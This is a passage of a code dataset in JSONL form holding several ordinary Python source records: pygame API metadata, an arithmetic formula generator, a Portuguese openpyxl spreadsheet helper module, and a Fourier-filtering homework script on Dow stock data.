"usage_type": "attribute"}, {"api_name": "pygame.time.Clock", "line_number": 219, "usage_type": "call"}, {"api_name": "pygame.time", "line_number": 219, "usage_type": "attribute"}, {"api_name": "pygame.sprite.Group", "line_number": 224, "usage_type": "call"}, {"api_name": "pygame.sprite", "line_number": 224, "usage_type": "attribute"}, {"api_name": "pygame.font.SysFont", "line_number": 230, "usage_type": "call"}, {"api_name": "pygame.font", "line_number": 230, "usage_type": "attribute"}, {"api_name": "pygame.font.SysFont", "line_number": 231, "usage_type": "call"}, {"api_name": "pygame.font", "line_number": 231, "usage_type": "attribute"}, {"api_name": "pygame.image.load", "line_number": 244, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 244, "usage_type": "attribute"}, {"api_name": "pygame.image.load", "line_number": 245, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 245, "usage_type": "attribute"}, {"api_name": "pygame.mixer.Sound", "line_number": 247, "usage_type": "call"}, {"api_name": "pygame.mixer", "line_number": 247, "usage_type": "attribute"}, {"api_name": "pygame.image.load", "line_number": 256, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 256, "usage_type": "attribute"}, {"api_name": "pygame.sprite.pygame.sprite.Group", "line_number": 266, "usage_type": "call"}, {"api_name": "pygame.sprite", "line_number": 266, "usage_type": "attribute"}, {"api_name": "pygame.image.load", "line_number": 273, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 273, "usage_type": "attribute"}, {"api_name": "pygame.sprite.pygame.sprite.Group", "line_number": 283, "usage_type": "call"}, {"api_name": "pygame.sprite", "line_number": 283, "usage_type": "attribute"}, {"api_name": "pygame.image.load", "line_number": 290, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 290, "usage_type": "attribute"}, {"api_name": "pygame.sprite.pygame.sprite.Group", "line_number": 300, "usage_type": "call"}, {"api_name": "pygame.sprite", "line_number": 300, "usage_type": "attribute"}, {"api_name": "pygame.image.load", "line_number": 306, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 306, "usage_type": "attribute"}, {"api_name": "pygame.sprite.pygame.sprite.Group", "line_number": 316, "usage_type": "call"}, {"api_name": "pygame.sprite", "line_number": 316, "usage_type": "attribute"}, {"api_name": "pygame.mixer.music.load", "line_number": 348, "usage_type": "call"}, {"api_name": "pygame.mixer", "line_number": 348, "usage_type": "attribute"}, {"api_name": "pygame.mixer.music.play", "line_number": 349, "usage_type": "call"}, {"api_name": "pygame.mixer", "line_number": 349, "usage_type": "attribute"}, {"api_name": "pygame.image.load", "line_number": 353, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 353, "usage_type": "attribute"}, {"api_name": "pygame.display.set_mode", "line_number": 356, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 356, "usage_type": "attribute"}, {"api_name": "pygame.RESIZABLE", "line_number": 356, "usage_type": "attribute"}, {"api_name": "pygame.mixer.Sound", "line_number": 360, "usage_type": "call"}, {"api_name": "pygame.mixer", "line_number": 360, "usage_type": "attribute"}, {"api_name": "pygame.image.load", "line_number": 363, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 363, "usage_type": "attribute"}, {"api_name": "pygame.display.set_mode", "line_number": 366, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 366, "usage_type": "attribute"}, {"api_name": "pygame.RESIZABLE", "line_number": 366, "usage_type": "attribute"}, {"api_name": "pygame.image.load", "line_number": 373, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 373, "usage_type": "attribute"}, {"api_name": "pygame.display.set_mode", "line_number": 376, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 376, "usage_type": "attribute"}, {"api_name": "pygame.RESIZABLE", "line_number": 376, "usage_type": "attribute"}, {"api_name": "pygame.image.load", "line_number": 383, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 383, "usage_type": "attribute"}, {"api_name": "pygame.display.set_mode", "line_number": 386, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 386, "usage_type": "attribute"}, {"api_name": "pygame.RESIZABLE", "line_number": 386, "usage_type": "attribute"}, {"api_name": "pygame.image.load", "line_number": 393, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 393, "usage_type": "attribute"}, {"api_name": "pygame.display.set_mode", "line_number": 396, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 396, "usage_type": "attribute"}, {"api_name": "pygame.RESIZABLE", "line_number": 396, "usage_type": "attribute"}, {"api_name": "pygame.display.set_mode", "line_number": 406, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 406, "usage_type": "attribute"}, {"api_name": "pygame.RESIZABLE", "line_number": 406, "usage_type": "attribute"}, {"api_name": "pygame.mixer.music.stop", "line_number": 407, "usage_type": "call"}, {"api_name": "pygame.mixer", "line_number": 407, "usage_type": "attribute"}, {"api_name": "pygame.mixer.Sound", "line_number": 408, "usage_type": "call"}, {"api_name": "pygame.mixer", "line_number": 408, "usage_type": "attribute"}, {"api_name": "pygame.image.load", "line_number": 412, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 412, "usage_type": "attribute"}, {"api_name": "pygame.display.set_mode", "line_number": 415, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 415, "usage_type": "attribute"}, {"api_name": "pygame.RESIZABLE", "line_number": 415, "usage_type": "attribute"}, {"api_name": "pygame.mixer.music.load", "line_number": 428, "usage_type": "call"}, {"api_name": "pygame.mixer", "line_number": 428, "usage_type": "attribute"}, {"api_name": "pygame.mixer.music.play", "line_number": 429, "usage_type": "call"}, {"api_name": "pygame.mixer", "line_number": 429, "usage_type": "attribute"}, {"api_name": "pygame.image.load", "line_number": 430, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 430, "usage_type": "attribute"}, {"api_name": "pygame.image.load", "line_number": 431, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 431, "usage_type": "attribute"}, {"api_name": "pygame.display.set_mode", "line_number": 434, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 434, "usage_type": "attribute"}, {"api_name": "pygame.RESIZABLE", "line_number": 434, "usage_type": "attribute"}, {"api_name": "pygame.mixer.Sound", "line_number": 439, "usage_type": "call"}, {"api_name": "pygame.mixer", "line_number": 439, "usage_type": "attribute"}, {"api_name": "pygame.image.load", "line_number": 451, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 451, "usage_type": "attribute"}, {"api_name": "pygame.mixer.music.play", "line_number": 452, "usage_type": "call"}, {"api_name": "pygame.mixer", "line_number": 452, "usage_type": "attribute"}, {"api_name": "pygame.image.load", "line_number": 456, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 456, "usage_type": "attribute"}, {"api_name": "pygame.display.set_mode", "line_number": 459, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 459, "usage_type": "attribute"}, {"api_name": "pygame.RESIZABLE", "line_number": 459, "usage_type": "attribute"}, {"api_name": "pygame.mixer.Sound", "line_number": 462, "usage_type": "call"}, {"api_name": "pygame.mixer", "line_number": 462, "usage_type": "attribute"}, {"api_name": "pygame.mixer.music.play", "line_number": 476, "usage_type": "call"}, {"api_name": "pygame.mixer", "line_number": 476, "usage_type": "attribute"}, {"api_name": "pygame.image.load", "line_number": 477, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 477, "usage_type": "attribute"}, {"api_name": "pygame.image.load", "line_number": 487, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 487, "usage_type": "attribute"}, {"api_name": "pygame.display.set_mode", "line_number": 490, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 490, "usage_type": "attribute"}, {"api_name": "pygame.RESIZABLE", "line_number": 490, "usage_type": "attribute"}, {"api_name": "pygame.image.load", "line_number": 496, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 496, "usage_type": "attribute"}, {"api_name": "pygame.display.set_mode", "line_number": 499, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 499, "usage_type": "attribute"}, {"api_name": "pygame.RESIZABLE", "line_number": 499, "usage_type": "attribute"}, {"api_name": "pygame.image.load", "line_number": 505, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 505, "usage_type": "attribute"}, {"api_name": "pygame.display.set_mode", "line_number": 508, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 508, "usage_type": "attribute"}, {"api_name": "pygame.RESIZABLE", "line_number": 508, "usage_type": "attribute"}, {"api_name": "pygame.image.load", "line_number": 514, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 514, "usage_type": "attribute"}, {"api_name": "pygame.display.set_mode", "line_number": 517, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 517, "usage_type": "attribute"}, {"api_name": "pygame.RESIZABLE", "line_number": 517, "usage_type": "attribute"}, {"api_name": "pygame.sprite.spritecollide", "line_number": 526, "usage_type": "call"}, {"api_name": "pygame.sprite", "line_number": 526, "usage_type": "attribute"}, {"api_name": "pygame.sprite.spritecollide", "line_number": 587, "usage_type": "call"}, {"api_name": "pygame.sprite", "line_number": 587, "usage_type": "attribute"}, {"api_name": "pygame.event.get", "line_number": 685, "usage_type": "call"}, {"api_name": "pygame.event", "line_number": 685, "usage_type": "attribute"}, {"api_name": "pygame.QUIT", "line_number": 686, "usage_type": "attribute"}, {"api_name": "pygame.MOUSEBUTTONDOWN", "line_number": 689, "usage_type": "attribute"}, {"api_name": "pygame.time.Clock", "line_number": 700, "usage_type": "call"}, {"api_name": "pygame.time", "line_number": 700, "usage_type": "attribute"}, {"api_name": "pygame.KEYDOWN", "line_number": 719, "usage_type": "attribute"}, {"api_name": "pygame.K_d", "line_number": 720, "usage_type": "attribute"}, {"api_name": "pygame.K_a", "line_number": 730, "usage_type": "attribute"}, {"api_name": "pygame.K_v", "line_number": 740, "usage_type": "attribute"}, {"api_name": "pygame.K_b", "line_number": 749, "usage_type": "attribute"}, {"api_name": "pygame.K_n", "line_number": 758, "usage_type": "attribute"}, {"api_name": "pygame.K_m", "line_number": 766, "usage_type": "attribute"}, {"api_name": "pygame.K_g", "line_number": 775, "usage_type": "attribute"}, {"api_name": "pygame.K_h", "line_number": 784, "usage_type": "attribute"}, {"api_name": "pygame.K_j", "line_number": 789, "usage_type": "attribute"}, {"api_name": "pygame.K_s", "line_number": 794, "usage_type": "attribute"}, {"api_name": "pygame.image.load", "line_number": 804, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 804, "usage_type": "attribute"}, {"api_name": "pygame.K_w", "line_number": 807, "usage_type": "attribute"}, {"api_name": "pygame.sprite.spritecollide", "line_number": 821, "usage_type": "call"}, {"api_name": "pygame.sprite", "line_number": 821, "usage_type": "attribute"}, {"api_name": "pygame.image.load", "line_number": 839, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 839, "usage_type": "attribute"}, {"api_name": "pygame.K_RIGHT", "line_number": 841, "usage_type": "attribute"}, {"api_name": "pygame.K_LEFT", "line_number": 851, "usage_type": "attribute"}, {"api_name": "pygame.K_1", "line_number": 861, "usage_type": "attribute"}, {"api_name": "pygame.K_2", "line_number": 870, "usage_type": "attribute"}, {"api_name": "pygame.K_3", "line_number": 879, "usage_type": "attribute"}, {"api_name": "pygame.K_4", "line_number": 888, "usage_type": "attribute"}, {"api_name": "pygame.K_5", "line_number": 896, "usage_type": "attribute"}, {"api_name": "pygame.K_6", "line_number": 902, "usage_type": "attribute"}, {"api_name": "pygame.K_DOWN", "line_number": 909, "usage_type": "attribute"}, {"api_name": "pygame.image.load", "line_number": 920, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 920, "usage_type": "attribute"}, {"api_name": "pygame.K_UP", "line_number": 922, "usage_type": "attribute"}, {"api_name": "pygame.image.load", "line_number": 925, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 925, "usage_type": "attribute"}, {"api_name": "pygame.sprite.spritecollide", "line_number": 938, "usage_type": "call"}, {"api_name": "pygame.sprite", "line_number": 938, "usage_type": "attribute"}, {"api_name": "pygame.KEYUP", "line_number": 955, "usage_type": "attribute"}, {"api_name": "pygame.draw.line", "line_number": 1022, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 1022, "usage_type": "attribute"}, {"api_name": "pygame.draw.line", "line_number": 1023, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 1023, "usage_type": "attribute"}, {"api_name": "pygame.display.flip", "line_number": 1054, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 1054, "usage_type": "attribute"}]}
{"seq_id": "30922977813", "text": "from itertools import permutations, combinations_with_replacement\n\ndef printSolutions(solutions: list):\n    if solutions:\n        for solution in solutions:\n            print(solution) \n    else:\n        print(\"No Solution\")\n\ndef getAllUniqueCombinations(digitsQuantity: int):\n    operations = ['+', '-', '*', '/']\n    uniqueOperations = []\n    \n    for operationsCombination in combinations_with_replacement(operations, digitsQuantity):\n        for oper in permutations(operationsCombination):\n            if oper not in uniqueOperations:\n                uniqueOperations.append(oper)\n\n    return uniqueOperations\n\ndef generateFormula(values: set, operations: set) -> str:\n    return '{}{}{}{}{}{}{}'.format(values[0], operations[0], values[1], operations[1], values[2], operations[2], values[3])\n\ndef generateParenthesisFormula(values: set, operations: set, parentesis: str) -> str:\n    currentOperation = 0\n    currentValue = 0\n    formulaList = list(parentesis)\n    for i in range(len(parentesis)):\n        if formulaList[i] == '$':\n            formulaList[i] = operations[currentOperation]\n            currentOperation += 1\n        elif formulaList[i] == 'x':\n            formulaList[i] = values[currentValue]\n            currentValue += 1\n\n    return ''.join(formulaList)", "repo_name": "ClaudioPrieto/inventures-test", "sub_path": "logic/helpers.py", "file_name": "helpers.py", "file_ext": "py", "file_size_in_byte": 1277, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "itertools.combinations_with_replacement", "line_number": 14, "usage_type": "call"}, {"api_name": "itertools.permutations", "line_number": 15, "usage_type": "call"}]}
{"seq_id": "30006131730", "text": "from openpyxl import Workbook, load_workbook\nfrom openpyxl.utils import get_column_letter\n# import openpyxl\n\n\ndef iniciar_planilha():\n    \"\"\"\n    Inicia o arquivo Excel contendo os dados.\n    :return: Retorna a planilha.\n    \"\"\"\n    try:\n        open('PlanilhaExcel\\\\Arquivo.xlsx', 'a').close()\n        planilha = load_workbook('PlanilhaExcel\\\\Arquivo.xlsx')\n    except PermissionError:\n        print('O arquivo já está aberto, feche o mesmo antes de prosseguir.')\n        exit()\n    except:\n        print('Arquivo não encontrado.')\n        exit()\n    else:\n        return planilha\n\n\ndef pegar_dados_intervalo_planilha(intervalo: str, ultima_linha: bool = False) -> list:\n    \"\"\"\n    Retorna os valores presentes no intervalo informado.\n    Os valores são retornados dentro de uma lista.\n    A lista retornada contém listas para cada linha do intervalo informado.\n    Ex: [['Pessoa1', 46, 2500, 'Jogador', '987654321'], ['Pessoa2', 22, 8000, 'Streamer', '768948302']]\n    :param intervalo: Intervalo da planilha.\n    :param ultima_linha: Define se deverá ser pego até a ultima linha do intervalo informado.\n    :return: Retorna uma lista contendo os valores.\n    \"\"\"\n    if ultima_linha:\n        intervalo: str = intervalo + descobrir_linha_vazia_planilha_excel(intervalo[0])\n\n    planilha = iniciar_planilha()\n    aba_ativa = planilha.active\n\n    try:\n        valores: list = []\n        valores_linha: list = []\n\n        # Adicionei os if's para impedir que dados vazios sejam obtidos.\n        for celula in aba_ativa[intervalo]:\n            for elemento in celula:\n                if elemento.value is not None:\n                    valores_linha.append(elemento.value)\n                else:\n                    break  # -> Talvez eu possa tirar esse else e deixar ele pegar uma linha onde um elemento seja None.\n            if len(valores_linha) > 0:\n                valores.append(valores_linha.copy())\n                valores_linha.clear()\n            # else:\n                # break  # -> Para a procura se achar algum registro vazio.\n    except:\n        planilha.close()\n        print('Error - pegar_dados_intervalo_planilha()')\n    else:\n        planilha.close()\n        return valores\n\n\ndef atualizar_dados_intervalo_planilha(valores_adicionar: list, intervalo: str) -> None:\n    \"\"\"\n    Atualiza os dados presentes no intervalo informado.\n    Caso o intervalo esteja vazio, um erro de Index é gerado.  <- FUNCIONALIDADE DESATIVADA\n    :param valores_adicionar: Lista de listas contendo os valores que vão substituir os dados presentes no intervalo.\n    :param intervalo: Intervalo que será substituído.\n    :return: None\n    \"\"\"\n    planilha = iniciar_planilha()\n    aba_ativa = planilha.active\n\n    try:\n        for i, linha in enumerate(aba_ativa[intervalo]):  # -> A2, B2, C2, ...\n            if i >= len(valores_adicionar):\n                break\n            for j, elemento in enumerate(linha):\n                # if elemento.value is None:  # -> Gerando o erro de função específica.\n                    # raise IndexError(\"Não existe valor na célula.\")\n                elemento.value = valores_adicionar[i][j]\n    except IndexError:\n        print(f'Error - atualizar_dados_intervalo_planilha() | Uma ou mais células não possuem um valor para atualizar.')\n    except:\n        print('Error - atualizar_dados_intervalo_planilha()')\n    else:\n        planilha.save('PlanilhaExcel\\\\Arquivo.xlsx')\n    finally:\n        planilha.close()\n\n\ndef adicionar_dados_fim_coluna(valores_adicionar: list, coluna_inicial: str, coluna_final: str) -> None:\n    \"\"\"\n    Adiciona todos os itens da lista informada nas linhas disponíveis na coluna informada.\n    :param valores_adicionar: Lista de listas contendo os valores a serem adicionados.\n    :param coluna_inicial: Primeira coluna onde os valores serão adicionados.\n    :param coluna_final: Última coluna onde os valores serão adicionados.\n    :return: None\n    \"\"\"\n    try:\n        ultima_linha: str = descobrir_linha_vazia_planilha_excel(coluna_inicial)\n        comeco = int(ultima_linha) + 1\n        fim = int(ultima_linha) + len(valores_adicionar)\n        intervalo: str = f'{coluna_inicial}{comeco}:{coluna_final}{fim}'\n\n        adicionar_dados_intervalo_planilha(valores_adicionar, intervalo)\n    except:\n        print('Error - adicionar_dados_fim_coluna()')\n\n\ndef adicionar_dados_intervalo_planilha(valores_adicionar: list, intervalo: str, ultima_linha: bool = False) -> None:\n    \"\"\"\n    Adiciona os dados informados no intervalo especificado da planilha.\n    Caso já existam dados nesse intervalo, gera um erro de Index. <- FUNCIONALIDADE DESATIVADA\n    :param valores_adicionar: Lista de listas contendo os dados a serem adicionados.\n    :param intervalo: Intervalo da planilha.\n    :param ultima_linha: Define se deverá ser pego até a ultima linha do intervalo informado. 'A2:E'\n    :return: None\n    \"\"\"\n    if ultima_linha:\n        intervalo: str = intervalo + descobrir_linha_vazia_planilha_excel(intervalo[0])\n\n    planilha = iniciar_planilha()\n    aba_ativa = planilha.active\n\n    try:\n        for i, linha in enumerate(aba_ativa[intervalo]):  # -> A2, B2, C2, ...\n            if i >= len(valores_adicionar):\n                break\n            for j, elemento in enumerate(linha):\n                # if elemento.value is not None:  # -> Gerando o erro de função específica.\n                    # raise IndexError(\"Já existe um valor na célula.\")\n                elemento.value = valores_adicionar[i][j]\n    # except IndexError:\n        # print(f'Error - adicionar_dados_intervalo_planilha() | Uma ou mais células já possuem um valor.')\n    except:\n        print('Error - adicionar_dados_intervalo_planilha()')\n    else:\n        planilha.save('PlanilhaExcel\\\\Arquivo.xlsx')\n    finally:\n        planilha.close()\n\n\ndef remover_dados_intervalo_planilha(intervalo: str, ultima_linha: bool = False) -> None:\n    \"\"\"\n    Apaga os dados presentes no intervalo informado.\n    Caso o intervalo esteja vazio, um erro de Index é gerado. <- FUNCIONALIDADE DESATIVADA\n    :param intervalo: Intervalo que será apagado.\n    :param ultima_linha: Define se deverá ser pego até a ultima linha do intervalo informado. 'A2:E'\n    :return: None\n    \"\"\"\n    if ultima_linha:\n        intervalo: str = intervalo + descobrir_linha_vazia_planilha_excel(intervalo[0])\n\n    planilha = iniciar_planilha()\n    aba_ativa = planilha.active\n\n    try:\n        for celula in aba_ativa[intervalo]:\n            for elemento in celula:\n                # if elemento.value is None:  # -> Gerando o erro de função específica.\n                    # raise IndexError\n                elemento.value = None\n    # except IndexError:\n        # print('Error - remover_dados_intervalo_planilha() | Uma ou mais células já estão vazias.')\n    except:\n        print('Error - remover_dados_intervalo_planilha()')\n    else:\n        planilha.save('PlanilhaExcel\\\\Arquivo.xlsx')\n    finally:\n        planilha.close()\n\n\ndef atualizar_cor_intervalo_planilha(intervalo: str, cor: str = 'FFFFFFFF') -> None:\n    \"\"\"\n    Atualiza a cor de fundo do intervalo informado.\n    Caso seja informado apenas uma célula, apenas a cor dessa célula será atualizada.\n    :param intervalo: Intervalo ou Célula a ser alterado.\n    :param cor: Cor de fundo desejada no formato Hexadecimal, por padrão é branco.\n    :return: None\n    \"\"\"\n    from openpyxl.styles import PatternFill\n\n    planilha = iniciar_planilha()\n    aba_ativa = planilha.active\n\n    try:\n        if ':' in intervalo:\n            for celula in aba_ativa[intervalo]:\n                celula[0].fill = PatternFill(start_color=cor, end_color=None, fill_type='solid')\n        else:\n            # Aplica a formatação de preenchimento à célula A1 com cor sólida\n            aba_ativa[intervalo].fill = PatternFill(start_color=cor, end_color=None, fill_type='solid')\n    except:\n        print('Error - atualizar_cor_intervalo_planilha()')\n    else:\n        planilha.save('PlanilhaExcel\\\\Arquivo.xlsx')\n    finally:\n        planilha.close()\n\n\ndef descobrir_ultima_linha_planilha_excel() -> str:\n    \"\"\"\n    Descobre o número da ultima linha preenchida na planilha.\n    Independente da coluna sempre vai retornar a última linha preenchida na planilha. (De qualquer coluna)\n    :return: Retorna o número da ultima linha como uma string.\n    \"\"\"\n    planilha = iniciar_planilha()\n    aba_ativa = planilha.active\n\n    ultima_linha: int = aba_ativa['A'][-1].row\n\n    planilha.close()\n\n    return str(ultima_linha)\n\n\ndef descobrir_linha_vazia_planilha_excel(coluna: str) -> str:\n    \"\"\"\n    Descobre o número da ultima linha preenchida na planilha da coluna informada.\n    Mesmo se houver linhas vazias entres linhas preenchidas, a última será pega.\n    :return: Retorna o número da ultima linha como uma string.\n    \"\"\"\n    planilha = iniciar_planilha()\n    aba_ativa = planilha.active\n\n    ultima_posicao: int = aba_ativa[coluna][-1].row\n\n    ultima_linha: int = 1\n    cont: int = 0\n\n    for i, celula in enumerate(aba_ativa[f'{coluna}1:{coluna}{ultima_posicao}']):\n        if celula[0].value is not None:\n            ultima_linha: int = celula[0].row\n        else:\n            # Ignoro a quantidade de linhas que eu percebi que eu preciso passar para chegar na proxima linha NÃO vazia:\n            if cont > 0:\n                cont -= 1  # Diminuo o cont pois acabei de passar por uma linha que estou ignorando.\n            else:\n                # aba_ativa[coluna][i].row == celula[0].row  | Ambos são a mesma coisa.\n                if aba_ativa[coluna][i].row < ultima_posicao:\n                    # VERIFICANDO SE EXISTE ALGUMA LINHA PREENCHIDA DA POSIÇÃO ATUAL ATE A ULTIMA LINHA DA COLUNA:\n                    quantidade_linha_faltante: int = ultima_posicao - celula[0].row\n                    elemento: int = 0  # -> Variável utilizada para verificar se foi encontrada uma linha NÃO vazia.\n                    # Loop baseado na quantidade de linhas faltantes, se faltam 7 linhas para acabar,\n                    # o loop vai rodar 7 vezes.\n                    for c in range(1, quantidade_linha_faltante+1):\n                        valor = aba_ativa[coluna][i+c].value  # PEGANDO O VALOR PRESENTE NA LINHA *SEGUINTE*.\n                        # ^ Para verificar em seguida se a mesma é uma linha vazia ou não.\n                        if valor is not None:\n                            elemento: int = 1  # -> Indicador de que encontrei uma linha NÃO vazia.\n                            cont = c-1  # -> Quantidade de linhas que posso ignorar até a proxima linha NÃO vazia.\n                            break\n                            # ^ Se encontro alguma linha não vazia no meio do caminho, nem continuo olhando os próximos,\n                            # pois já achei o que queria.\n                    if elemento == 0:  # Se não encontrei nenhuma linha preenchida saio do loop e já sei a última linha.\n                        break\n                else:\n                    break\n\n    planilha.close()\n\n    return str(ultima_linha)\n\n\nif __name__ == '__main__':\n    print(pegar_dados_intervalo_planilha('A2:F99'))\n", "repo_name": "Drarlian/Projeto_Analisa_Ativos", "sub_path": "PlanilhaExcel/manipula_planilha_excel.py", "file_name": "manipula_planilha_excel.py", "file_ext": "py", "file_size_in_byte": 11142, "program_lang": "python", "lang": "pt", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "openpyxl.load_workbook", "line_number": 13, "usage_type": "call"}, {"api_name": "openpyxl.styles.PatternFill", "line_number": 191, "usage_type": "call"}, {"api_name": "openpyxl.styles.PatternFill", "line_number": 194, "usage_type": "call"}]}
{"seq_id": "724534787", "text": "# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Fri Feb 28 17:05:28 2020\r\n\r\n@author: Dana\r\n\"\"\"\r\nimport matplotlib.pyplot as plt\r\nimport numpy as np\r\n\r\nf = np.loadtxt('dow.txt',float)\r\n\r\nfig = plt.figure(dpi=100,figsize=(8,6))\r\nplt.subplots_adjust(hspace=.320,wspace=.475,left=0.085,right=0.960,top=0.895,bottom=0.145)\r\n\r\n\r\n# Data for #1\r\nplt.subplot(241)\r\nplt.plot(f,c='m',lw=0.5)\r\nplt.title('Original Data')\r\nplt.xlabel('time')\r\nplt.xticks(size='small')\r\nplt.yticks(size='small')\r\n\r\n# Coefficients for #1\r\nplt.subplot(245)\r\nc1=np.fft.rfft(f)\r\nplt.semilogy(abs(c1),c='r',lw=0.5)\r\nplt.xlabel('Fourier Coefficients')\r\nplt.ylabel('Magnitude')\r\nplt.xticks(size='small')\r\nplt.yticks(size='small')\r\n\r\n# Coefficients for #2\r\nplt.subplot(246)\r\nc2=np.fft.rfft(f)\r\nfor i2 in range(len(c2)):\r\n    if abs(i2)<100:\r\n        c2[i2] = 0\r\nplt.semilogy(abs(c2),c='r',lw=0.5)\r\nplt.xlabel('Fourier Coefficients')\r\nplt.ylabel('Magnitude')\r\nplt.xticks(size='small')\r\nplt.yticks(size='small')\r\n\r\n# Data for #2\r\nplt.subplot(242)\r\nc2=np.fft.irfft(c2)\r\nplt.plot(abs(c2),c='m',lw=0.5)\r\nplt.title('High Pass Filter Data')\r\nplt.xlabel('time')\r\nplt.xticks(size='small')\r\nplt.yticks(size='small')\r\n\r\n# Coefficients for #3\r\nplt.subplot(247)\r\nc3=np.fft.rfft(f)\r\nfor i3 in range(len(c3)):\r\n    if abs(i3)>100:\r\n        c3[i3] = 0\r\nplt.semilogy(abs(c3),c='r',lw=0.5)\r\nplt.xlabel('Fourier Coefficients')\r\nplt.ylabel('Magnitude')\r\nplt.xticks(size='small')\r\nplt.yticks(size='small')\r\n\r\n# Data for #3\r\nplt.subplot(243)\r\nc3=np.fft.irfft(c3)\r\nplt.plot(abs(c3),c='m',lw=0.5)\r\nplt.title('Low Pass Filter Data')\r\nplt.xlabel('time')\r\nplt.xticks(size='small')\r\nplt.yticks(size='small')\r\n\r\n# Coefficients for #4\r\nplt.subplot(248)\r\nc4=np.fft.rfft(f)\r\nfor i4 in range(len(c4)):\r\n    if abs(c4[i4])<0.005*max(c4):\r\n        c4[i4]=0\r\nplt.semilogy(abs(c4),c='r',lw=0.5)\r\nplt.xlabel('Fourier Coefficients')\r\nplt.ylabel('Magnitude')\r\nplt.xticks(size='small')\r\nplt.yticks(size='small')\r\n        \r\n# Data for #4\r\nplt.subplot(244)\r\nc4=np.fft.irfft(c4)\r\nplt.plot(abs(c4),c='m',lw=0.5)\r\nplt.title('Magnitude Filter Data')\r\nplt.xlabel('time')\r\nplt.xticks(size='small')\r\nplt.yticks(size='small')\r\n\r\nplt.show()\r\n\r\n'''\r\n #1:\r\n The first 100 coefficients are removed. Because the first couple coefficients\r\n are the most important ones that define the general shape of the curve, most \r\n of the curve's distinguishing features are lost.\r\n \r\n #2:\r\n Only the first 100 coefficients are shown. Because these are the most important\r\n coefficients in defining the shape of the curve, not a whole lot is lost. The \r\n coefficients that make small corrections to the curve are missing, but this does \r\n not affect the shape and it is still possible to make out the important features.\r\n \r\n #3:\r\n This removes a lot of the \"static\" in the data. A smoother curve is produced and \r\n the tiny details and jiggity-jags are lost.\r\n\r\n'''", "repo_name": "Dana-Lucas/Data-Science", "sub_path": "Lucas HW10-2.py", "file_name": "Lucas HW10-2.py", "file_ext": "py", "file_size_in_byte": 2852, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "numpy.loadtxt", "line_number": 10, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 12, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 12, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplots_adjust", "line_number": 13, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 13, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 17, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 17, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 18, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 18, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 19, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 19, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 20, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 20, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xticks", "line_number": 21, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 21, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.yticks", "line_number": 22, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 22, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 25, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 25, "usage_type": "name"}, {"api_name": "numpy.fft.rfft", "line_number": 26, "usage_type": "call"}, {"api_name": "numpy.fft", "line_number": 26, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.semilogy", "line_number": 27, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 27, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 28, "usage_type": "call"}, {"api_name": 